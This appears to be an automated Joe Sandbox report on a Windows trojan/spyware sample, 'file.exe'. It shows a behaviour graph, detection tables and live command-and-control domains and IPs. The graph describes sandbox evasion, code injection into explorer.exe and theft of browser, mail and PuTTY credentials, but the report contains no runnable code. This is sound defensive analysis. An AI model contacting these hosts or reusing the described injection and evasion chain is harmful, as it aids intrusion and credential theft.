        Virtualization/Sandbox Evasion        		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery
        Network Trust DependenciesServerlessDrive-by CompromiseContainer Orchestration JobScheduled Task/JobScheduled Task/Job331
        Virtualization/Sandbox Evasion        		Proc Filesystem4
        Process Discovery        		Cloud ServicesCredential API HookingApplication Layer ProtocolExfiltration Over Alternative ProtocolDefacement
        Network TopologyMalvertisingExploit Public-Facing ApplicationCommand and Scripting InterpreterAtAt21
        Access Token Manipulation        		/etc/passwd and /etc/shadow11
        Application Window Discovery        		Direct Cloud VM ConnectionsData StagedWeb ProtocolsExfiltration Over Symmetric Encrypted Non-C2 ProtocolInternal Defacement
        IP AddressesCompromise InfrastructureSupply Chain CompromisePowerShellCronCron612
        Process Injection        		Network Sniffing1
        System Owner/User Discovery        		Shared WebrootLocal Data StagingFile Transfer ProtocolsExfiltration Over Asymmetric Encrypted Non-C2 ProtocolExternal Defacement
        Network Security AppliancesDomainsCompromise Software Dependencies and Development ToolsAppleScriptLaunchdLaunchd1
        Hidden Files and Directories        		Input CaptureSystem Network Connections DiscoverySoftware Deployment ToolsRemote Data StagingMail ProtocolsExfiltration Over Unencrypted Non-C2 ProtocolFirmware Corruption

        Behavior Graph

        Hide Legend

        Legend:

        • Process
        • Signature
        • Created File
        • DNS/IP Info
        • Is Dropped
        • Is Windows Process
        • Number of created Registry Values
        • Number of created Files
        • Visual Basic
        • Delphi
        • Java
        • .Net C# or VB.NET
        • C, C++ or other language
        • Is malicious
        • Internet
        behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1559273 Sample: file.exe Startdate: 20/11/2024 Architecture: WINDOWS Score: 100 64 tVbpvlpuypYopkFjWdOBJOajLc.tVbpvlpuypYopkFjWdOBJOajLc 2->64 66 quantumqube.org 2->66 68 innovixus.org 2->68 72 Suricata IDS alerts for network traffic 2->72 74 Found malware configuration 2->74 76 Malicious sample detected (through community Yara rule) 2->76 78 5 other signatures 2->78 11 file.exe 16 2->11         started        13 chhfaci 5 10 2->13         started        signatures3 process4 process5 15 cmd.exe 3 11->15         started        file6 58 C:\Users\user\AppData\Local\...\Imposed.com, PE32 15->58 dropped 70 Drops PE files with a suspicious file extension 15->70 19 Imposed.com 15->19         started        22 cmd.exe 2 15->22         started        24 conhost.exe 15->24         started        26 7 other processes 15->26 signatures7 process8 signatures9 80 Found API chain indicative of debugger detection 19->80 82 Found API chain indicative of sandbox detection 19->82 84 Injects a PE file into a foreign processes 19->84 86 Switches to a custom stack to bypass stack traces 19->86 28 Imposed.com 19->28         started        31 Imposed.com 19->31         started        process10 signatures11 104 Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation)) 28->104 106 Maps a DLL or memory area into another process 28->106 108 Checks if the current machine is a virtual machine (disk enumeration) 28->108 110 Creates a thread in another existing process (thread injection) 28->110 33 explorer.exe 9 7 28->33 injected process12 dnsIp13 60 innovixus.org 150.241.91.218, 49718, 49719, 49799 TECNALIAES Spain 33->60 62 quantumqube.org 85.192.60.190, 443, 49712, 49713 LINEGROUP-ASRU Russian Federation 33->62 48 C:\Users\user\AppData\Roaming\chhfaci, PE32 33->48 dropped 88 System process connects to network (likely due to code injection or exploit) 33->88 90 Benign windows process drops PE files 33->90 92 Injects code into the Windows Explorer (explorer.exe) 33->92 94 2 other signatures 33->94 38 explorer.exe 20 33->38         started        41 explorer.exe 33->41         started        44 explorer.exe 33->44         started        46 4 other processes 33->46 file14 signatures15 process16 file17 96 Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc) 38->96 98 Tries to steal Mail credentials (via file / registry access) 38->98 100 Tries to harvest and steal browser information (history, passwords, etc) 38->100 50 C:\...\Windows.ApplicationModel.Wallet.dll, PE32 41->50 dropped 52 C:\Users\user\AppData\...\WalletProxy.dll, PE32 41->52 dropped 54 C:\Users\...\WalletBackgroundServiceProxy.dll, PE32 41->54 dropped 56 11 other files (none is malicious) 41->56 dropped 102 System process connects to network (likely due to code injection or exploit) 41->102 signatures18

        Screenshots

        Thumbnails

        This section contains all screenshots as thumbnails, including those not shown in the slideshow.


        windows-stand

        Antivirus, Machine Learning and Genetic Malware Detection

        Initial Sample

        SourceDetectionScannerLabelLink
        file.exe16%ReversingLabs

        Dropped Files

        SourceDetectionScannerLabelLink
        C:\Users\user\AppData\Local\Temp\390641\Imposed.com5%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\SysWOW64\WalletBackgroundServiceProxy.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\SysWOW64\WalletProxy.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\SysWOW64\Windows.ApplicationModel.Wallet.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\System32\WalletBackgroundServiceProxy.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\System32\WalletProxy.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\System32\Windows.ApplicationModel.Wallet.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-w..-service.deployment_31bf3856ad364e35_10.0.19041.985_none_b6bad888bc038c2c\WalletService.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_fa16cd4ceba3021a\WalletBackgroundServiceProxy.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-w..t-service.resources_31bf3856ad364e35_10.0.19041.1_en-us_0e357aa451e0d2d7\WalletService.dll.mui0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_5f44912b33b38332\WalletProxy.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\amd64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_a953dd8b163491ed\Windows.ApplicationModel.Wallet.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\wow64_microsoft-windows-w..ice.backgroundproxy_31bf3856ad364e35_10.0.19041.1_none_046b779f2003c415\WalletBackgroundServiceProxy.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\wow64_microsoft-windows-wallet-service.proxy_31bf3856ad364e35_10.0.19041.1_none_69993b7d6814452d\WalletProxy.dll0%ReversingLabs
        C:\Users\user\AppData\Local\Temp\5525\C\Windows\WinSxS\wow64_microsoft-windows-wallet-winrt_31bf3856ad364e35_10.0.19041.746_none_b3a887dd4a9553e8\Windows.ApplicationModel.Wallet.dll0%ReversingLabs
        C:\Users\user\AppData\Roaming\chhfaci5%ReversingLabs

        Unpacked PE Files

        ⊘No Antivirus matches

        Domains

        ⊘No Antivirus matches

        URLs

        SourceDetectionScannerLabelLink
        http://innovixus.org/index.phpMozilla/5.00%Avira URL Cloudsafe
        http://innovixus.org/application/x-www-form-urlencodedMozilla/5.00%Avira URL Cloudsafe
        http://innovixus.org/ndex.php0%Avira URL Cloudsafe
        http://innovixus.org/s0%Avira URL Cloudsafe
        https://quantumqube.org/index.php0%Avira URL Cloudsafe
        https://quantumqube.org:443/index.php0%Avira URL Cloudsafe
        http://quantumqube.org/index.php0%Avira URL Cloudsafe
        http://innovixus.org/index.phpp60%Avira URL Cloudsafe
        http://innovixus.org:80/index.phposoft0%Avira URL Cloudsafe
        http://innovixus.org/k60%Avira URL Cloudsafe
        http://innovixus.org/nts0%Avira URL Cloudsafe
        http://innovixus.org/index.php0%Avira URL Cloudsafe
        http://innovixus.org/ngs0%Avira URL Cloudsafe
        http://innovixus.org/0%Avira URL Cloudsafe
        https://innovixus.org/index.php0%Avira URL Cloudsafe

        Domains and IPs

        Contacted Domains

        NameIPActiveMaliciousAntivirus DetectionReputation
        innovixus.org
        		150.241.91.218
        		truetrue
          		unknown
          quantumqube.org
          		85.192.60.190
          		truetrue
            		unknown
            tVbpvlpuypYopkFjWdOBJOajLc.tVbpvlpuypYopkFjWdOBJOajLc
            		unknown
            		unknowntrue
              		unknown

              Contacted URLs

              NameMaliciousAntivirus DetectionReputation
              http://quantumqube.org/index.phptrue
              • Avira URL Cloud: safe
              		unknown
              https://quantumqube.org/index.phptrue
              • Avira URL Cloud: safe
              		unknown
              http://innovixus.org/index.phptrue
              • Avira URL Cloud: safe
              		unknown
              https://innovixus.org/index.phptrue
              • Avira URL Cloud: safe
              		unknown

              URLs from Memory and Binaries

              NameSourceMaliciousAntivirus DetectionReputation
              https://api.msn.com/v1/news/Feed/Windows?explorer.exe, 00000010.00000000.1791764203.00000000090DA000.00000004.00000001.00020000.00000000.sdmpfalse
                		high
                https://duckduckgo.com/chrome_newtabexplorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpfalse
                  		high
                  https://powerpoint.office.comerexplorer.exe, 00000010.00000000.1794839501.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpfalse
                    		high
                    https://duckduckgo.com/ac/?q=explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpfalse
                      		high
                      https://android.notify.windows.com/iOSA4explorer.exe, 00000010.00000000.1794839501.000000000BC80000.00000004.00000001.00020000.00000000.sdmpfalse
                        		high
                        https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaTexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                          		high
                          https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DVexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                            		high
                            https://www.msn.com/en-us/sports/other/simone-biles-leads-u-s-women-s-team-to-seventh-straight-worldexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                              		high
                              https://api.msn.com:443/v1/news/Feed/Windows?explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1791764203.00000000091FB000.00000004.00000001.00020000.00000000.sdmpfalse
                                		high
                                https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                  		high
                                  https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    https://www.msn.com/en-us/news/politics/kinzinger-has-theory-about-who-next-house-speaker-will-be/viexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                      		high
                                      https://excel.office.comexplorer.exe, 00000010.00000000.1794839501.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpfalse
                                        		high
                                        https://www.msn.com/en-us/money/personalfinance/the-big-3-mistakes-financial-advisors-say-that-the-1explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                          		high
                                          https://www.msn.com/en-us/money/careersandeducation/student-loan-debt-forgiveness-arrives-for-some-bexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                            		high
                                            http://schemas.microexplorer.exe, 00000010.00000002.2744437577.0000000007710000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000002.2744476164.0000000007720000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000010.00000000.1788619408.0000000002C80000.00000002.00000001.00040000.00000000.sdmpfalse
                                              		high
                                              https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Teaser/recordhigh.svgexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                		high
                                                https://www.autoitscript.com/autoit3/file.exe, 00000000.00000002.1487972311.000000000041F000.00000004.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://wns.windows.com/EM0explorer.exe, 00000010.00000000.1794839501.000000000BDF5000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000003.2284662189.000000000BDF5000.00000004.00000001.00020000.00000000.sdmpfalse
                                                    		high
                                                    https://github.com/jsstyles/css-vendorexplorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      		high
                                                      http://innovixus.org/index.phpMozilla/5.0explorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000015.00000002.2088135326.0000000001359000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000016.00000002.2736094878.0000000002E17000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000017.00000002.2735426514.0000000000AD7000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000018.00000002.2735268250.0000000002F37000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000019.00000002.2734733792.0000000000429000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000001A.00000002.2736401615.0000000002E78000.00000004.00000020.00020000.00000000.sdmpfalse
                                                      • Avira URL Cloud: safe
                                                      		unknown
                                                      https://www.msn.com/en-us/weather/topstories/us-winter-forecast-for-the-2023-2024-season/ar-AA1hGINtexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                        		high
                                                        http://innovixus.org/application/x-www-form-urlencodedMozilla/5.0explorer.exe, 00000014.00000002.2101602972.0000000002BA5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        • Avira URL Cloud: safe
                                                        		unknown
                                                        https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/searchexplorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                            		high
                                                            https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zealexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://www.msn.com/en-us/money/markets/costco-is-seeing-a-gold-rush-what-s-behind-the-demand-for-itexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                		high
                                                                http://www.microsoft.cexplorer.exe, 00000010.00000000.1791764203.0000000009237000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09explorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    https://android.notify.windows.com/iOSdexplorer.exe, 00000010.00000000.1794839501.000000000BC80000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://openjsf.org/explorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        http://jedwatson.github.io/classnamesexplorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/WeatherInsights/WeatherInsiexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                            		high
                                                                            https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-alexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              http://innovixus.org/index.phpp6explorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              http://innovixus.org/ndex.phpexplorer.exe, 00000014.00000002.2101602972.0000000002B8C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9kexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://www.google.com/images/branding/product/ico/googleg_lodp.icoexplorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://assets.msn.com/weathermapdata/1/static/finance/1stparty/FinanceTaskbarIcons/Finance_Earningsexplorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                    		high
                                                                                    https://lodash.com/explorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://innovixus.org/sexplorer.exe, 00000010.00000003.2285320724.000000000C1A3000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000014.00000002.2101602972.0000000002BA5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13fcaT-darkexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                        		high
                                                                                        https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          http://www.autoitscript.com/autoit3/Xfile.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmp, Imposed.com, 0000000B.00000002.1744211180.0000000000A65000.00000002.00000001.01000000.00000007.sdmp, Imposed.com, 0000000E.00000002.1683421473.0000000000A65000.00000002.00000001.01000000.00000007.sdmp, Imposed.com, 0000000F.00000000.1684064509.0000000000A65000.00000002.00000001.01000000.00000007.sdmp, chhfaci, 00000013.00000000.1982371669.00000000007E5000.00000002.00000001.01000000.00000008.sdmpfalse
                                                                                            		high
                                                                                            https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNewexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              http://innovixus.org/k6explorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://innovixus.org:80/index.phposoftexplorer.exe, 00000014.00000002.2101602972.0000000002B38000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://nsis.sf.net/NSIS_ErrorErrorfile.exefalse
                                                                                                		high
                                                                                                https://www.ecosia.org/newtab/explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  https://quantumqube.org:443/index.phpexplorer.exe, 00000010.00000003.2284453665.000000000C161000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  http://ns.adobeSexplorer.exe, 00000010.00000000.1789222607.0000000004405000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2741474078.0000000004405000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://outlook.comexplorer.exe, 00000010.00000000.1794839501.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBA-darkexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        http://underscorejs.org/LICENSEexplorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          https://ac.ecosia.org/autocomplete?q=explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://innovixus.org/ntsexplorer.exe, 00000010.00000003.2285320724.000000000C1A3000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            https://api.msn.com/v1/news/Feed/Windows?activityId=0E948A694F8C48079B908C8EA9DDF9EA&timeOut=5000&ocexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                              		high
                                                                                                              https://android.notify.windows.com/iOSexplorer.exe, 00000010.00000000.1794839501.000000000BC80000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                https://word.office.com48explorer.exe, 00000010.00000000.1794839501.000000000BBB0000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://activity.windows.com/UserActivity.ReadWrite.CreatedByAppexplorer.exe, 00000010.00000000.1794839501.000000000BC80000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-theexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://lodash.com/licenseexplorer.exe, 0000001A.00000003.2315732412.0000000004E96000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                        		high
                                                                                                                        https://assets.msn.com/weathermapdata/1/static/weather/Icons/JyNGQgA=/Condition/MostlyClearNight.svgexplorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          http://innovixus.org/ngsexplorer.exe, 00000010.00000003.2285320724.000000000C1A3000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                          • Avira URL Cloud: safe
                                                                                                                          		unknown
                                                                                                                          https://api.msn.com/explorer.exe, 00000010.00000003.2285437159.000000000704B000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.000000000704E000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000000.1789791327.000000000702D000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gKBAexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              http://innovixus.org/explorer.exe, 00000014.00000002.2101602972.0000000002BA5000.00000004.00000020.00020000.00000000.sdmptrue
                                                                                                                              • Avira URL Cloud: safe
                                                                                                                              		unknown
                                                                                                                              https://www.msn.com/en-us/sports/other/washington-state-ad-asks-ncaa-for-compassion-and-understandinexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=explorer.exe, 00000014.00000003.2086141539.0000000002BA2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                  		high
                                                                                                                                  https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13f2DV-darkexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                    		high
                                                                                                                                    https://www.msn.com:443/en-us/feedexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                      		high
                                                                                                                                      https://cdn.query.prod.cms.msn.com/cms/api/amp/binary/AA13gF9k-darkexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                        		high
                                                                                                                                        https://www.msn.com/en-us/weather/topstories/accuweather-el-niexplorer.exe, 00000010.00000000.1789791327.0000000006F09000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000010.00000002.2742962432.0000000006F09000.00000004.00000001.00020000.00000000.sdmpfalse
                                                                                                                                          		high

                                                                                                                                          World Map of Contacted IPs

                                                                                                                                          • No. of IPs < 25%
                                                                                                                                          • 25% < No. of IPs < 50%
                                                                                                                                          • 50% < No. of IPs < 75%
                                                                                                                                          • 75% < No. of IPs

                                                                                                                                          Public IPs

                                                                                                                                          IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                          85.192.60.190
                                                                                                                                          		quantumqube.orgRussian Federation
                                                                                                                                          		47711LINEGROUP-ASRUtrue
                                                                                                                                          150.241.91.218
                                                                                                                                          		innovixus.orgSpain
                                                                                                                                          		207714TECNALIAEStrue

                                                                                                                                          General Information

                                                                                                                                          Joe Sandbox version:41.0.0 Charoite
                                                                                                                                          Analysis ID:1559273
                                                                                                                                          Start date and time:2024-11-20 11:19:12 +01:00
                                                                                                                                          Joe Sandbox product:CloudBasic
                                                                                                                                          Overall analysis duration:0h 9m 59s
                                                                                                                                          Hypervisor based Inspection enabled:false
                                                                                                                                          Report type:full
                                                                                                                                          Cookbook file name:default.jbs
                                                                                                                                          Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                          Number of analysed new started processes analysed:28
                                                                                                                                          Number of new started drivers analysed:0
                                                                                                                                          Number of existing processes analysed:0
                                                                                                                                          Number of existing drivers analysed:0
                                                                                                                                          Number of injected processes analysed:1
                                                                                                                                          Technologies:
                                                                                                                                          • HCA enabled
                                                                                                                                          • EGA enabled
                                                                                                                                          • AMSI enabled
                                                                                                                                          Analysis Mode:default
                                                                                                                                          Analysis stop reason:Timeout
                                                                                                                                          Sample name:file.exe
                                                                                                                                          Detection:MAL
                                                                                                                                          Classification:mal100.troj.spyw.evad.winEXE@41/64@4/2
                                                                                                                                          EGA Information:
                                                                                                                                          • Successful, ratio: 85.7%
                                                                                                                                          HCA Information:
                                                                                                                                          • Successful, ratio: 98%
                                                                                                                                          • Number of executed functions: 88
                                                                                                                                          • Number of non-executed functions: 281
                                                                                                                                          Cookbook Comments:
                                                                                                                                          • Found application associated with file extension: .exe

                                                                                                                                          Warnings

